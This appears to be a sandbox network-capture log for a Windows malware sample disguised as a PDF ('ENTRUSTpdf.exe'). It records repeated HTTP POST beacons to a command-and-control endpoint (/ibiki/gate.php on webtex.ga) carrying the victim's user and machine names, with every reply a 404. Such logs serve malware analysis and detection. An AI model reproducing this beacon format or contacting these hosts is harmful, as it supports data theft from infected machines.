Dec 3, 2020 10:03:16.286075115 CET	1245	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:16.327589989 CET	1246	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:33 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.3	49857	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:16.708488941 CET	1246	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:16.725106001 CET	1247	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:16.789518118 CET	1247	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:34 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.3	49858	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:17.123306036 CET	1248	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:17.143636942 CET	1248	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:17.185949087 CET	1248	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:34 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.3	49859	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:17.598131895 CET	1287	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:17.614881992 CET	1288	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:17.878546000 CET	1288	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:34 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.3	49860	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:18.277932882 CET	1289	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:18.297188997 CET	1289	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:18.340692997 CET	1289	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:35 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.3	49861	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:19.025661945 CET	1290	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:19.042308092 CET	1290	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:19.166356087 CET	1291	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:36 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.3	49862	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:19.368860006 CET	1292	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:19.387132883 CET	1292	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:19.428898096 CET	1292	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:36 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49722	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:33.703087091 CET	82	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:33.719687939 CET	82	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:33.764564991 CET	83	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:51 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.3	49864	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:19.879013062 CET	1295	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:19.897239923 CET	1295	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:19.953104973 CET	1300	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.3	49865	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:20.167098045 CET	1307	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:20.187146902 CET	1307	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:20.230772972 CET	1308	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.3	49866	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:20.635796070 CET	1309	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:20.657254934 CET	1309	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:20.702594995 CET	1309	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.3	49867	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:20.914107084 CET	1310	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:20.933341980 CET	1310	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:20.975845098 CET	1311	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:38 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.3	49868	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:21.409024954 CET	1311	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:21.427589893 CET	1312	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:21.474462986 CET	1312	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:38 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.3	49869	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:21.989440918 CET	1313	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:22.008724928 CET	1313	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:22.047095060 CET	1313	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:39 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.3	49870	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:22.262478113 CET	1314	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:22.279279947 CET	1314	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:22.321959019 CET	1315	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:39 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.3	49871	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:22.758574009 CET	1318	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:22.775207996 CET	1318	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:22.823090076 CET	1320	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.3	49872	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:23.023041964 CET	1322	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:23.039750099 CET	1322	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:23.081216097 CET	1323	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.3	49873	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:23.528398037 CET	1328	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:23.545073986 CET	1329	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:23.585988998 CET	1330	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49723	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:34.056226015 CET	83	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:34.072757959 CET	84	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:34.116974115 CET	84	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:51 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.3	49874	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:24.023586035 CET	1335	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:24.040232897 CET	1336	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:24.206701040 CET	1338	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:41 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.3	49880	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:24.680366993 CET	1360	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:24.696995974 CET	1362	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:24.744697094 CET	1364	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:41 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.3	49881	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:25.184133053 CET	4165	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
